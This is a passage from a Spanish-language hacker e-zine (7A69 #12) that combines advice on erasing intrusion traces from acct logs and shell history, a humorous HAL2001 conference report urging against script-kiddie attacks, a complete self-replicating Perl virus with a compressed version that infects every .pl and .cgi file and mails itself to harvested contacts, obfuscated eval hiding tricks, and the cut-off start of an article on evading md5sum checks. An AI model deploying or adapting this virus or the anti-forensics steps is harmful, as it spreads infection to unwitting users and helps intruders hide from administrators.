hace sum se modifica su contenido :-)) Pero, ¿como funciona el acct? veamos
su estructura definida en /usr/src/linux-2.x.x/include/linux/acct.h
struct acct
{
char ac_flag; /* Accounting Flags */
/*
* No binary format break with 2.0 - but when we hit 32bit uid we'll
* have to bite one
*/
__u16 ac_uid; /* Accounting Real User ID */
__u16 ac_gid; /* Accounting Real Group ID */
__u16 ac_tty; /* Accounting Control Terminal */
__u32 ac_btime; /* Accounting Process Creation Time */
comp_t ac_utime; /* Accounting User Time */
comp_t ac_stime; /* Accounting System Time */
comp_t ac_etime; /* Accounting Elapsed Time */
comp_t ac_mem; /* Accounting Average Memory Usage */
comp_t ac_io; /* Accounting Chars Transferred */
comp_t ac_rw; /* Accounting Blocks Read or Written */
comp_t ac_minflt; /* Accounting Minor Pagefaults */
comp_t ac_majflt; /* Accounting Major Pagefaults */
comp_t ac_swaps; /* Accounting Number of Swaps */
__u32 ac_exitcode; /* Accounting Exitcode */
char ac_comm[ACCT_COMM + 1]; /* Accounting Command Name */
char ac_pad[10]; /* Accounting Padding Bytes */
};
Escribir un editor para el fichero de log de accounting es sencillo, el
problema es modificar la informacion de forma coherente para engañar al
administrador, ademas tenemos la dificultad añadida de que acct hace logs de
todo aquello hasta el logout, luego si modificamos el fichero de log, todas
los ultimos comandos realizados se almacenaran en el fichero de log,
por eso la cosa mas sensata es parar el accounting, modificar el fichero y
despues volver a reactivarlo, no es el procedimiento mas eficaz porque el
ultimo comando realizado se "loguea", aun asi es lo mas razonable. Para mas
informacion leete las paginas de manual.
Un ultimo inciso: si yo fuera un administrador no usaria este fichero de
log, desperdicia demasiado los recursos del sistema.
9) El log abandonado (btmp)
En este apartado hago referencia al fichero de log btmp, que usa la
estructura utmp ya vista anteriormente. Su mision es almacenar en un fichero
de log todo intento de login a un usuario que no existe en la maquina, este
fichero de log cada vez mas esta' en desuso, el motivo es que algunos usuarios
a veces al hacer login colocan la clave antes que el usuario, luego se hace un
log de un intento de login a un usuario, que realmente es una password. Esto
hacia del fichero de log btmp una base de datos de passwords de usuarios de
la maquina. Este fichero de log esta desactivado por defecto en una
distribucion linux.
10) history: ¿quien dijo que no soy un fichero de log?
Aqui me refiero a los ficheros de la forma .SHELL_history, siendo SHELL la
shell que usa el usuario, este fichero esta en el home de cada usuario y en
el se almacenan los ultimos comandos realizados, por ejemplo .bash_history.
Estos ficheros son de texto, con lo cual se puede modificar con cualquier
editor de texto (vi, emacs, joe...). No tiene naturaleza de fichero de log
como tal, NO es un fichero de log, ya que puede ser eliminado por el usuario
y modificado, pero puede ser usado para reconstruir que ha sucedido en la
maquina en caso de que el administrador lo necesite, por lo que es conveniente
eliminarlo para no dejar ningun tipo de pista.
Epilogo
Nota: Todos estos logs se actualizan o se crean durante el proceso de
login y logout, si consigues el codigo fuente del login, podras ver que son
ficheros que se actualizan durante este proceso, puedes hacer un login
troyano que te abre una shell de root en el que _NO_ se actualicen los
ficheros de logs. Para eso ya hay muchos rootkits a los que les puedes echar
un vistazo que ya contienen login troyanos, entre otras cosas.
Tienes que tener en cuenta que puede que haya algun logger por usar una
determinada shell, asi el administrador podria empezar a sospechar que hay
alguien usando la shell _sh_ y no hay entradas correspondientes en los
ficheros de log. Todo esto depende del grado de paranoia mental o de desidia
que haya alcanzado el administrador en cuestion, asi otros factores
medioambientales tales como que le haya dejado la novia, que le hayan
robado el coche, o que su canario ya no canta. :-))
Estos fichero de logs son los mas comunmente usados, si un administrador
quiere complicar la cosa puede hacerlo.
Este tema de los problemas de usar los rootkits y las formas que tienen de
ser "cazados" por el administrador del sistema los comentare en un proximo
articulo.
*EOF*
-=( 7A69#12 )=--=( art7 )=--=( HAL2001 & No kiddies )=--=( Staff )=-
Cierto dia, de cierto mes, de... este año. Ciertas personas barajabamos la
posiblidad de pasarnos por Holanda a la HAL (Hackers At Large), CON de
hackers que se celebra cada 4 años en dicho pais. Sinduda las ganas de ir
era brutales, sobretodo viendo el programa de charlas, y como no los
propios instructores (Solar Designer y Mixter entre otros). Asi que
finalmente el sueño se hizo realidad y ya nos veis a nosotros ¿3? ¿4? ¿5?...
(que mas da cuantos fuesemos) en un ¿avion? ¿autocar? ¿tren? camino de
Holanda, pais en el que yo no habia estado nunca anteriormente.
Tras el agotador viaje, ¿que mejor que tropocientosmil botellas de agua? Pues
nada... al super a comprar :) (¿Aprovecharian algunos para coger provisiones
en los coffe shops? Nose yo...). Tras no perdernos ni nada, llegamos a la
universidad de twenty, donde estaba todo el meollo de la HAL (unos carteles
luminosos nos daban la bienvenida, "Wellcome to HAL20001). Coño! cuanta
gente! cuanto cable! cuanta tienda de acampada! Cuanto hax0r!
Ya no recuerdo que hora era cuando llegamos (¿seguro?), el caso es que el
primer dia solo nos dio tiempo a montar las tiendas, y a hacer que la red
llegara hasta ellas (total, grimpar un simple cable no cuesta tanto).
Gracias a los de la tienda de al lado, que nos dejaron un hub de ¿4? ¿8? ¿16?
puertos, pudimos tener red en todas nuestras tiendas :)
Se respiraba un buen aire, ya habiamos cenado (siempre y cuando se le
considere cena a la comida basura) y era tarde... quiza que durmamos un poco,
pues el viaje ha sido muy cansado ¿no? Vale, pues eso... que nos pusimos a
dormir, zZzzZzZzZ.
Al dia siguiente, tras desayunar (yo un cafe y 2 bikinis) nos damos un rulo
por ahi para ver que tal estaba el ambiente, visitamos las salas de
conferencias y demas... Llega el momento de separarse... algunos deciden a
una conferencia, otros a otra y otros prefieren rascarse el culo en la tienda,
con alguno de los portatiles delante...
Bueno... no voy a contar mucho mas de lo que fue la HAL, esto pretendia ser
una mera introduccion (¿pero introduccion de que?), y es posible que parte, o
todo lo que se ha contado aqui sea falso, es posible incluso, que la HAL ni
siquiera exista... ¿quien sabe? :P
La HAL si que existio... no lo puedo negar, pues en http://www.hal2001.org
estan las pruebas (no os olvideis de pasaros por la seccion fotos si quereis
ver el ambiente que por ahi se vivia). Lo que viene a continuacion no es mas
que un relato de Humor extraido del HAL2001 Oficial Manual. La traduccion ha
sido realizada por tuxisuau, las letras no menos humoristicas que habeis leido
hasta ahora son obra de Ripe, el maestro del humor, el payaso number guan!
Policias, delitos y HAL2001
(o guia del script kiddie a la HAL2001).
----------------------------------------
Cuando llegues a la HAL2001 y mires a tu alrededor, notaras que es
un lugar ideal para hacer cosas de script-kiddie. Me refiero: Con 1
GB de ancho de banda llegando por todo el camino hacia tu tienda, un
simple ping-flood es una mitica arma. Y con toda esta gente por aqui,
es probable que haya alguien a menos de 10 metros que conozca como
pillar root en esa granja de webhosting que encontraste esta mañana.
Tambien te habras fijado en toda esta gente a tu alrededor. Muchos
de ellos parecen vivir en alguna clase de mundo distinto. Lo mas
notable es que no estan rallando sobre en cuantas maquinas han
instalado Stacheldraht. Cuando ellos hablas de seguridad informatica
tu frecuentemente no les entiendes, y ellos insisten en discutir sobre
absurdos temas de politica mucho rato. Somos nosotros. El resto de la
comunidad hacker. Llevamos ya un tiempo aqui, y probablemente te
refieras a muchos de nosotros como "Esta gente vieja". OK.
Nosotros sentimos que estan pasando cosas importantes en el mundo.
Cosas contra las que luchamos. Los gobiernos y las grandes
corporaciones estan basicamente tomando poder y estan en proceso de
elaborar mecanismos de control. Esto puede parecer dificil o
exagerado, pero piensa en las nuevas leyes que permiten
monitorizacion instantanea de cualquiera. Piensa en bases de datos
de ordenador que sepan donde esta todo el mundo en tiempo real.
Piensa en camaras en todos los lados. Piensa en hacerte pagar cada
vez, por cualquier cosa que mires o escuches. Piensa en tu coleccion
de MP3ses. Piensa en la carcel.
- Haciendonos tener mala imagen a todos
Ei, no llamemos kiddies a todos los demas: Nosotros no eramos tan
buenos cuando eramos niños. Pero ahora, a gente poderosa de todo el
mundo le gustaria pintar un cuadro de HAL2001 como un monton de
personas peligrosas fuera para destrozar. Mientras puede parecer guai
que gente poderosa piense que somos peligrosos, estas solo sirviendo
su proposito si destrozas webs desde aqui, o si llevas a cabo la madre
de todos los ataques DDoS. Estas ayudando los estrictos que dicen que
no somos buenos. A ellos no les importan los ataques DDoS. A ellos
no les importan las webs que te cargues. Sus lideres ni tan solo s
aben como agarrar un raton. Ellos se preocupan de hacernos parecer a
todos una amenaza, de manera que puedan obtener el soporte publico
para encerrarnos a todos.
- Metiendote en problemas
Pero si te es igual todo lo anterior, tenemos otro motivo para no
hacer cosas malas en la HAL: No hay ningun lugar en la tierra en el
que las probabilidades de ser arrestado esten concentradas contra
ti tanto como en la HAL2001. Miembros de la comunidad para el
cumplimiento estricto de las leyes holandesa (si, policias) estan
presentes en grandes numeros. Y la percepcion publica es que no han
arrestado demasiada gente por delitos informaticos ultimamente. De
manera que estan bajo una gran presion para detener a alguien.
Cualquiera....
Como mucha gente ha prometido comportarse, hay una seguridad de
que la policia de Holanda no se tomara esto muy en serio. Pero
destrozar una web o lanzar ataques DDoS son delitos serios aqui, y
no volveras a casa al poco tiempo si te detienen aqui. Ser detenido
en la HAL hace tu caso algo grande, no importa la poca cosa que
haya sucedido. Esto significa que no es muy probable que te dejen
marchar con un golpecito a la espalda.
Y si la HAL es algo como sus predecesores, gente de la inteligencia
de los servicios internos de seguridad de muchos paises
industrializados estaran paseandose, Y veran si alguien de su pais
esta sacando la cabeza fuera haciendo cosas malas. La HAL es un buen
lugar para convertirse en visible, en siempre interesantes y
diferentes maneras.
- Desconectandonos a todos
Justo como en la HIP97, las autoridades tienen ordenes prefirmadas
listas y esperando para cortar nuestro enlace al mundo si la red
de la HAL se convierte en la fuente de demasiados problemas. Si,
leiste bien: Cortar el enlace. 100% perdida de paquetes.
La HAL2001 dispone de algunos de los mejores administradores del
mundo monitorizando nuestro enlace para asegurarse de que todo
funcione bien. Alguna de esta gente tiene un profundo conocimiento
de problemas de seguridad informatica desde antes que tu nacieras.
Y *evidentemente* estan monitorizando para ver si alguien esta
causando problemas, ya sea en nuestra red o hacia el mundo
exterior.
De manera que haznos un favor a todos y a ti mismo, y por favor no
seas estupido. Y si insistes en crear problemas, piensa en esto: Si
te lo montas para dejarnos a todos desconectados, puedes prevenir
que los policias te cogeran antes.
- Haciendonos mayores
Si hay eso en ti, ahora es un momento excelente para crecer. Vivir
una vida en la comunidad hacker que llega mas lejos que destrozar
webs y lanzar ataques DDoS. La existencia post script-kiddie ofrece
varios premios: Notaras que has hecho algo util con mas frecuencia,
la gente no se reira de ti, y quiza empieces a conocer chicas.
Quiza aun mas importante: Nosotros, como una comunidad, te
necesitamos para crecer. Como decimos nosotros: Los gobiernos y las
grandes corporaciones estan tomando el control de nuestro mundo a una
velocidad alarmante. Los hackers con mayor probabilidad entenderan
lo que esta pasando, y haran algo. Es por eso que estamos siendo
satanizados por agrupaciones que buscan tener controlado cada
movimiento de toda la poblacion. Muchas tecnologias para la mejora
de la privacidad aun deben de ser elaboradas, y una nueva generacion
completa debe ser alertada de que sus derechos estan siendo
desmantelados. Tu ayuda sera grandiosamente apreciada.
¿Creias que me iba ya? Pues no... toc toc... sigo aqui. ¿Para que? Para
hablarte, al igual que en el texto de arriba de lo malo maloso que es
ser un script-kiddie... ¿que aprendes modificando una web con un bug
conocido? ¿A teclear quiza? ¿A mover el explorador? Supongo que lo haras, no
con la intencion de aprender, sino con la de fardar... ¿Pero fardar de que?
Bueno, tu sabras. A mi opinion solo estas haciendo el ridiculo, un ridiculo
espantoso ante la autentica comunidad underground... pero hacer el
ridiculo no es nada comparado con lo que puede llegar a pasarte... Puedes
acabar en carcel!!! Y seguro que tu papa y tu mama no querran eso ¿Verdad? :)
Eso si... ir a la carcel te hara ser un mito del hack, como ya ha pasado en
otras ocasiones (¿no detuvieron hace unas semanas a un tal _Pablo_? Si
hombre! ¿No lo recuerdas? Ese que tenia una web en la explicaba paso a paso
como hackear webs sin tener que aprender cosas inutiles, como programar).
¿He mencionado a _Pablo_? Humm... si... como era su web? Ahora mismo no la
recuerdo, ademas es mejor guardarse el material UltraSecreto para uno mismo,
¿no?. El caso es que unos dias mas tarde... tachan! tachan! Leo en bandaacha
que la web del hacker ha sido hackeada (Buen titular, sin duda), ello llevo
a una gran discusion entre varias personas... entre los posts se podia leer
el siguiente...
Por lo visto se ha puesto de moda esto de jugar a ser hacker
ultimamente (Ser hacker es guay, ser hacker mola, ser hacker esta de
moda!). Han nacido una burrada de teams. Una buena definicion de
team seria... Grupo de crios que se juntan en un canal de irc,
todos con op, para dar usa sensacion de elite y poder vacilar en otros
canales i/o con los compañeros de clase. Para darse un poco de
credibilidad, suelen crear alguna web con documentos copiados con el
nombre del autor cambiado... o pateticos documentos de cosecha propia.
Como esto no es suficiente, suelen dar pateticas charlas
extremadamente moderadas (si preguntan algo que no se, ban) en su
canal de irc. Como esto no les da suficiente credibilidad, cambian el
contenido de algunas webs usando vulnerabilidades antiquisimas (que ni
tan solo saben en que se basan), para poder fardar de ello, y colocan
tambien bots de irc que usan para vacilar y hacerse los superhax0rs
con sus amigos que desconocen lo facil que hacer esto es, sirviendose
de ataques DoS (no llegan al DDoS..) si alguien no les tiene el
suficiente respeto.
Pero todo lo bueno (bueno...) dura poco. Logicamente, pronto se
descubre la realidad, YYYYY y XXXXX, con todo el DSA team 31337,
no son mas que unos lamers. Cuando esto ocurre, suelen pasar unos
dias de humillacion para terminar desapareciendo (cambiando de nick)
para hacer lo mismo luego... Y ocurrir exactamente lo mismo (que
triste, no?).
Mientras tanto, siguen ensuciando la imagen de la verdadera
comunidad hacker.
Vamos a analizar un poco a XXXXX, puesto que a YYYYY ya le
conocemos. Haciendo una simple busqueda a Google podemos encontrar
esto:
http://www.xxxxxxxxxxx.com/huescar/cuadernillos/re/r28/page8.html
En esta paginia XXXXX (Un hacker muy 31336+1, por supuesto) nos
explica que es un hacker. (Hint: Consultad
http://www.tuxedo.org/jargon para saber la realidad sobre el tema)
http://xxxxxxxxxxx.es/fantec/mailfalso.txt
Esta vez, XXXXX nos asombra con algo nunca visto en la
anterioridad (y aun menos tan bien explicado...)
http://www.xxxxxxxxx.com/orglacurva/smurfs.htm
XXXXX, hacker de la elite, etico por delante de todo, nos
enseñara el verdadero motivo por el cual usa Linux... Por cierto,
me gustaria verte explicar lo del Segfault... xDDDD Que lamer
eres, dios mio...
http://www.xxxxxxxxxxxx.com/orglacurva/netbios.htm
Netbios, el no-va-mas. XXXXX ha descubierto una vulnerabilidad
(o mas bien un error de configuracion comun) que es lo nunca visto.
http://www.xxxxxxxxxxx.com/orglacurva/xploits.htm
"explicacion sobre exploits", by XXXXX, nuestro gran hacker.
http://www.xxxxxxxxxxx.com/orglacurva/entrar.html
Lugar donde hay mas basura de y familia. La web publica los
docs sin revisarlos...
Vamos, que vemos que XXXXX rompe el lamerometro, igualando
(quien sabe si superando) las marcas conseguidas por YYYYY.
Atencion al texto que XXXXX y su elite team hack del titular
de la noticia...
/* jaked by the elite */
THIS SITE HAS BEEN HACKED BY MEMBER OF ..[ * THE DSA FORCE! * ]..
OLA YYYYYY PERMITE K TE MUESTRE MIS RESPETOS OH GRAN H4X0R,
KE KIERES K TE DIGA..ME ASKEAS XDD VAS DE JAKER X LA VIDA
REPITIENDO KONTINUAMENTE LO MISMO, NT?s KON SERVIDOR IIS
INSTALADO KE TIENEN EL MISMO BUG....PSS AVER SI AZEMOS ALGO
NUEVO NO?
POS BUENO TO ESO I MAS ESPABILATE UN POKITO I DEJA D
FLIPARTELAS ASI XK LUEGO PASA LO K PASA...I..NO KREO K TE AGA
ESTO MUCHA GRAZIA PERO PSS TAMPOKO ME IMPORTA.
SALUDOS EN PRINCIPAL AL RESTO DE MIEMBROS DE ..[ * THE DSA FORCE! * ]..
A LA GENTE DEL AFT (ANARCHY FORCES TEAM)
A LA PENÑA DEL IRC-HISPANO I DE INFORCHAT K PASO GRAN PARTE DEL
DIA PORALLI....
A LA GENTE DE LOS KANALES (HISPANO) #HACKER #HACKING #HACK_ESCUELA
#BALADAS_HEAVYS #RREBOTE #ANARCHY_FORCES #LA_MAFIA #ORGLACURVA #
ROLLITO_MAJO I.....PSS NOMAKUERDO D MAS ASIKE K OS DEN MUCHO K TB
PASO D PONER NICKS ASIKE OS DAIS TODOS POR ALUDIDOS NO? (i al k no
k le follen)
PUES ALE AIOZ I POKO MAS KE DECIR K ...ESTO ES..UMM...ALGO...RARO...?
EL HACKER HACKEADO! ?
PD: VES POR LANA, I SALDRAS TRASKILADO
XXXXX
/* jaked by the elite */
- THIS SITE HAS BEEN HACKED BY...
Un hacker no pierde el tiempo destrozando webs para hacerse
publicidad.
- OLA _Pablo_ PERMITE K TE MUESTRE MIS RESPETOS OH GRAN H4X0R, KE
KIERES K TE DIGA..ME ASKEAS XDD
Si, ya veo que eres mucho mejor que YYYYY, eh?
- POS BUENO TO ESO I MAS ESPABILATE UN POKITO...
Si, que eres mas elite que YYYYY, y de verdad te lo crees que
es lo mas triste...
- SALUDOS EN PRINCIPAL AL RESTO DE MIEMBROS DE ..[ * THE DSA FORCE! * ]..
Sipi, publicidad a la verdadera elite, por que soys elite en
ese team, eh?
- A LA PEÑA DEL IRC-HISPANO I DE INFORCHAT K PASO GRAN PARTE DEL
DIA PORALLI....
Ya, esos pobres que te aguantan cada dia... algunos incluso les
hiciste creer que eras elite, pero ya ves de que te sirve. Por
cierto, pasas mucho tiempo en el irc vacilando, una actitud muy
hacker, eh?. Me gustaria ver codigo tuyo...
- PUES ALE AIOZ I POKO MAS KE DECIR K ...ESTO ES..UMM...ALGO...RARO...?
EL HACKER HACKEADO! ?
Vocaliza. Aprende a hablar. Intenta redactar bien.
- PD: VES POR LANA, I SALDRAS TRASKILADO
Si, XXXXX, a estas alturas supongo que habras aprendido que
significa esta oracion...
- XXXXX
No te olvides de firmar, no. Que algun lamer podria atribuirse
tus grandes meritos.
Por que esto es posible? Por que cualquiera puede conseguir
exploits y informacion con facilidad... Por suerte, esto es algo que
se sabe desde hace tiempo, y dado el boom de ninaños elite jaksors
yo-soy-mas-jaker-ke-tu ha nacido un movimiento para evitarlo
(http://anti.security.is).
Hay gente por ahi que de verdad podria ser hacker y no sabe que debe
hacer para consegirlo. Mirad este precioso Hacker-HOWTO:
http://www.tuxedo.org/~esr/faqs/hacker-howto.html
LITIH Staff. (we are the lamah nightmare)
Realmente este post a bandaancha es muy duro, quiza demasiado, y parece que
tenga algo personal contra alguien (desde aqui quiero lanzar que 7a69 no
se responsabiliza en ningun caso de lo que dicho post dice). Pero sin lugar
a dudas, los script-kiddies hacen pupa... asi que deja de hacer el kiddie,
que te veo venir. Vamos largando...
Bye, y ya lo sabes... Leer es aprender, aprender es ir siendo mejor, ser mejor
es tener facilidades, tener facilidades es ser el rey... para al final acabar
muriendo... como todos.
*EOF*
-=( 7A69#12 )=--=( art8 )=--=( Virus en perl )=--=( Anarion )=-
PERL VIRII
----------
Bueno siguiendo con los articulos sobre perl, hoy tratare sobre el virii en
perl. En realidad no se me habia ocurrido hasta que Ripe me paso un articulo
de la 29a sobre virii en perl, lo que pasa es que el autor no sabia mucho
perl asi que quizas, para aquellos que sepan mas, pueda interesarles unas
ideas interesantes, asi mismo adjunto algunos codigos, y un virus entero que
intenta infectar todos los .pl del disco duro, ademas de enviarse por correo.
Como en perl no compilamos nuestro codigo, nos es facil abrir el propio codigo
fuente i modificarlo desde el propio programa.
La primera idea que se me ocurrio es la normal, abrir $0 que es el nombre de
nuestro ejecutable para copiar de alli el codigo, y lo que haremos es ponerlo
en la primera funcion que encontremos. Este es el primer codigo que se me
ocurrio (voy comentando los puntos interesantes el codigo del virus mas
compactado estara al final del articulo):
#!/usr/bin/perl
;
# Nuestra marca de que esta infectado use strict;
#A-JapH
unless(fork())
# Creamos un proceso hijo para que siga infectando mientras
{
# El programa original seguira haciendo lo que debia
use File::Find;
# El modulo para recorrer el arbol d directorios
local (*V,*F);
$^W=0;
# No warnings al intentar abrir archivos etd por si usa -w
open V,$0;
# Abrimos nuestro propio codigo
my @v;
$_=<V> while(! /^#A-JapH/);
# Marca del inicio del virus
push(@v,$_);
while (! /^#End A-JapH/)
# Insertaremos hasta el final de la marca
{
$_=<V>;
push(@v,$_);
}
close(V);
# EL path para las pruebas lo puedes delimitar al home
#finddepth(\&infect,"/home/anarion/perl");
# asi podemos provar como funciona el virus
envia_mail(\@v) unless -e "$ENV{HOME}/.ajaph" or -e "/tmp/.$>.ajaph";
# Solo enviaremos mail una vez por usuario
exit;
# Fin
sub infect
{
$_=$File::Find::name;
if(/\.pl/ or /\.cgi/)
# Si encontramos un cgi o pl
{
if(-w and -t and -f)
# Y tenemos permisos
{
open F,$_;
my $f=$_;
my $cap=<F>;
my $mark=<F>;
return if $mark =~ /^;$/ or $cap !~ /perl/i;
# Buscamos la marca
my $funcio;
while(<F>)
{
$funcio=$1 and last if /sub (\w+)/;
# Buscamos la primera funcion a
# infectar
}
if ($funcio)
{
infecta_funcio($funcio,$f,\@v);
# Infectamos la funcion
}
else
{
infecta_inici($f,\@v);
# Infectaremos el inicio
}
close(F);
}
}
}
}
sub infecta_funcio
# Infectaremos la funcion y escribimos el archivo
{
my ($funcio,$f,$virus) = @_;
my (@infectat,$clau_inici);
local *F;
open(F,$f);
$_=<F>;
push(@infectat,"$_;\n");
while(! /sub $funcio/)
{
$_=<F>;
push(@infectat,$_);
}
if (! /{\s*/)
{
push(@infectat,"{\n");
$clau_inici=1;
}
push(@infectat,@$virus);
if ($clau_inici)
{
$_=<F>;
s/^\s*{//;
push(@infectat,$_);
}
push(@infectat,$_) while(<F>);
open(F,">$f-infectat");
print F $_ for(@infectat);
close(F);
}
sub infecta_inici
# Infecta el inicio porque no usa ninguna funcion
{
my ($fitxer,$virus)=@_;
local *F;
open(F,$fitxer);
my $capsa=<F>;
my @file=<F>;
open(F,">$fitxer-infectat");
print F "$capsa;\ngoto VIRUS unless fork();\n";
print F $_ for (@file,"\n exit;\nVIRUS:\n",@$virus,"\n");
close(F);
}
sub envia_mail
# Enviamos uns pocos correos
{
my $virus=pop;
my (%mails,$progmail,$id);
local *F;
for("/usr/sbin/sendmail","/usr/lib/sendmail")
{
$progmail = $_ and last if -e and -x;
}
print "Enviant mails amb $progmail\n";
for("$ENV{MAIL}","$ENV{HOME}/mbox","$ENV{HOME}/mail/sentbox")
{
open(F,$_);
while (<F>)
{
$mails{"$1"}=1 if /From:.*(\S+\@\S+)/;
$id=$1 if /To:.*(\S+\@\S+)/;
}
}
for (keys %mails)
{
open(F,"|$progmail");
print $_ for("Mail from: $id\nRcpt to: $_\nSubject: Perl Script\n\n",@$virus);
close(F);
}
open(F,">$ENV{HOME}/.ajaph") || open(F,"/tmp/.$>.ajaph");
print F "You have A-JapH Virus :)\n";
close(F);
}
#End A-JapH
Como veis la idea es senzilla y asi mismo es bastante obvio, el codigo
comprimido quedaria asi:
#!/usr/bin/perl
;
use strict;
# Anarion
#A-JapH
unless(fork()){use File::Find;local(*V,*F);$^W=0;open V,$0;my@v;push@v,grep{/^#A-JapH/../^#End A-JapH/}<V>;finddepth(\&i,"/");e(\@v)unless-e"$ENV{HOME}/.ajaph" or-e"/tmp/.$>-ajaph";exit;sub i{sleep 1;$_=$File::Find::name;if((/\.pl/ or /\.cgi/)and -w and -t and -f){open F,$_;my$f=$_;my$c=<F>;my$m=<F>;return if $m=~/^;$/ or$c!~/perl/i;my$u;while(<F>){$u=$1 and last if /sub (\w+)/}$u?iu($u,$f,\@v):ii($f,\@v)}}}sub iu{my($u,$f,$v)=@_;my(@i,$c);local*F;open(F,$f);$_=<F>;push(@i,"$_;\n");while(!/sub $u/){$_=<F>;push(@i,$_)}if(!/{\s*/){push(@i,"{\n");$c=1}push(@i,@$v);if($c){$_=<F>;s/^\s*{//;push(@i,$_)}push(@i,$_)while(<F>);open(F,">$f");print F $_ for(@i)}sub ii{my($f,$v)=@_;local*F;open(F,$f);my$c=<F>;my@f=<F>;open(F,">$f");print F "$c;\ngoto AJAPH unless fork();\n";print F $_ for (@f,"\n exit;\nAJAPH:\n",@$v,"\n")}sub e{my$v=pop;my(%m,$p,$i);local*F;for("/usr/sbin/sendmail","/usr/lib/sendmail"){$p=$_ and last if-e and-x}print "Enviant mails amb $p\n";for("$ENV{MAIL}","$ENV{HOME}/mbox","$ENV{HOME}/mail/sentbox"){open(F,$_);while (<F>){$m{"$1"}=1 if /From:.*(\S+\@\S+)/;$i=$1 if /To:.*(\S+\@\S+)/}}for(keys %m){open(F,"|$p -t");print F $_ for("Mail from: $i\nRcpt to: $_\nSubject: Perl Script\n\n",@$v);close(F)}open(F,">$ENV{HOME}/.ajaph")||open(F,"/tmp/.$>-ajaph");print F "You have A-JapH Virus :)\n"}
#End A-JapH
Pero podriamos en vez de infectar una funcion poniendo nuestro codigo al
inicio, podemos usar maneras mas creativas de infectar un codigo, casi sin
modificar el codigo fuente del programa.
Podriamos poner en alguna parte del programa un require '/tmp/.ajaph'; o con
un do, y que se ejecutara asi nuestro virus una vez este infectado un pl i
siga con la infeccion del resto del HD, y que para enviarse por correo se
enviara dentro de otro archivo tal y como el primer virus que hicimos.
Asi solo con an~adir una linea al programa nos bastaria.Quizas un require es
algo muy obvio, podemos ocultarlo con eval, aunque no se que seria mas
sospechoso podriamos hacer:
{local$_=q=require "/tmp/.ajaph"=;eval}
# Y ahora con un tr keda totalmente diferente [:)] {local$_=q+sfrvjsf #0unq0/bkbqi+;y+["-|]+[!-{]+;eval}
# Un poco mas largo, pero no hay require [:)]
Otra manera que se me ocurrio para poder ocultar nuestro codigo, es en vez de
capturar una funcion, es sobrescribir las funciones propias del perl. El perl
nos deja hacerlo con el overload, asi puedes podemos modificar lo que hace un
simple print "Hola" por cuando haga print ejecute nuestro codigo. Un ejemplo
sencillo de como un print crearia un directorio:
use overload;
BEGIN {
overload::constant "q", sub {
mkdir "Anarion",0666;
return $_[1];
}
}
print "Hola yo soy un print\n";
Asi hemos sobrescrito el operador q con lo cual un simple print puede hacer
cualquier cosa que nosotros queramos. Imaginad que creamos un modulo, lo
ponemos en el path del @INC con un overload por alli dentro o modificamos
algun pm y ponemos dentro un overload, imaginad ke podemos infectar el CGI.pm.
Entonces todos ls cgis que se ejecutaran llamando a nuestro modulo trataria
de infectar a los otros.Lo malo de overload es que no puedes usarlo en main,
asi pues o lo cargamos en un begin o deberiamos definir un package nuevo y
sobrescribir una de las funciones desde alli, y luego la exportamos.
Otra manera de abrir el codigo del mismo programa para buscar el trozo de
codigo que copiar al infectarse, es con el bug de __DATA__. En teoria solo
puedes acceder a los datos de despues de esa linea, donde se considera que el
programa ya deberia haber finalizado. Supongamos que ponemos un __END__ o
__DATA__ al final, kizas entonces con seek podemos posicionar el puntero en
el inicio del archivo, asi, sin usar open, podriamos leer nuestro propio
codigo y modificarlo o copiarlo al fichero destino dela infeccion.
Pongo un ejemplo:
#!/usr/bin/perl -w
#
# codigo del programa
use strict;
my $sendmail='/usr/lib/sendmail';
seek(DATA,0,0);
print while <DATA>;
__DATA__
Pensando en otras maneras para que se ejecute nuestro codigo, pense en meterlo
en un BEGIN {} o en un END { } asi siempre se ejecutaria, pero luego quizas
se veria mucho asi que se me ocurrio como hacer que un programa llame a
nuestra funcion y no parezca sospechoso. Viendo la sintaxis que normalmente
usa la gente se me ocurrio lo siguiente:
(tipico escript)
#!/usr/bin/perl
...
use CGI;
...
my $query = new CGI;
...
La gente no se da cuenta que de esta manera esta llamando la funcion new del
modulo CGI pero de una manera indirecta, asi si ponemos unas funciones en el
main que se llamen asi,creamos nuestro new, y devolvemos un objeto llamando al
new del modulo CGI, podemos hacer que se ejecute nuestro codigo y el usuario
no vea nada, asi pues mas adelante en el archivo ponemos unas funciones que
se llamen igual ...
use CGI;
sub new (*)
{
print "Im Here!!\n";
my $a=CGI::->new;
return $a;
}
my $query = new CGI;
print ref($query);
*EOF*
-=( 7A69#12 )=--=( art9 )=--=( Evadiendo md5sum )=--=( IReick )=-
EVADIENDO MD5SUM - ireick
-------------------------
Charlando un dia con alguien sobre la troyanizacion del software, sus
ventajes y desventajas, enseguida salio el tema de lo facil que es
para un administrador usar el checksum del fichero para darse cuenta
de que el software ha sido modificado. Pues bien en este pequeño articulo
expongo una posbile solución para evitar darse cuenta de la integridad de
un archivo mediante una herramienta de uso común como es md5sum.
NOTA: UTILIZAR LKM PARA REDIRECCIONAR EJECUTABLES Y ASI SALTARSE HERRAMIENTAS
COMO MD5SUM O TRIPWARE ES ALGO QUE YA HA APARECIDO EN OTROS SITIOS. LA PRIMERA
VEZ QUE LEI ALGO SOBRE ESTO FUE EN PHRACK (veanse referencias)
--EVITANDO MD5SUM--
Bien, vamos a abordar el problema, veamos que es lo que pasa si se utiliza
md5sum para verificar un archivo, imaginemos el siguiente codigo, muy dificil
de imaginar no es verdad :P
[illo@localhost apache]$ cat hola.c
main() {
printf("hola\n");
}
Muy bien vamos a compilar y pasarle md5sum al binario:
[illo@localhost apache]$ gcc hola.c -ohola
[illo@localhost apache]$ md5sum hola
35317b4565538f4daa130314a465d25a hola
Bien ahora vamos a hacer una pequeña modificacion en hola.c:
[illo@localhost apache]$ cat hola.c
main() {
printf("hola\n");
printf("adios\n");
}
Compilamos y pasamos md5sum:
[illo@localhost apache]$ gcc hola.c -ohola
[illo@localhost apache]$ md5sum hola
bef1ac85326b858bf927f882a20cb964 hola
Vaya, que es lo que ha pasado? Pues sencillo hemos modificado el codigo, por
lo tanto el binario, por lo tanto el checksum del fichero ha cambiado,
conclusion, no se puede asegurar la integridad del binario :P
Ahora bien q pasa si ahora hicieramos:
[illo@localhost apache]$ md5sum hola
y nos encontraramos con:
35317b4565538f4daa130314a465d25a hola
En este caso lo veriamos todo en orden y no nos preocupariamos por la
integridad (me ha gustao esta palabra :P) del binario.
Bien, pero, como conseguir esto? pues a mi se me ocurre una cosa (a mi y a otra
mucha gente :P) lkm (loadable kernel modules), muy bien y q hacemos con un lkm,
pues veamos:
[illo@localhost apache]$ strace md5sum hola
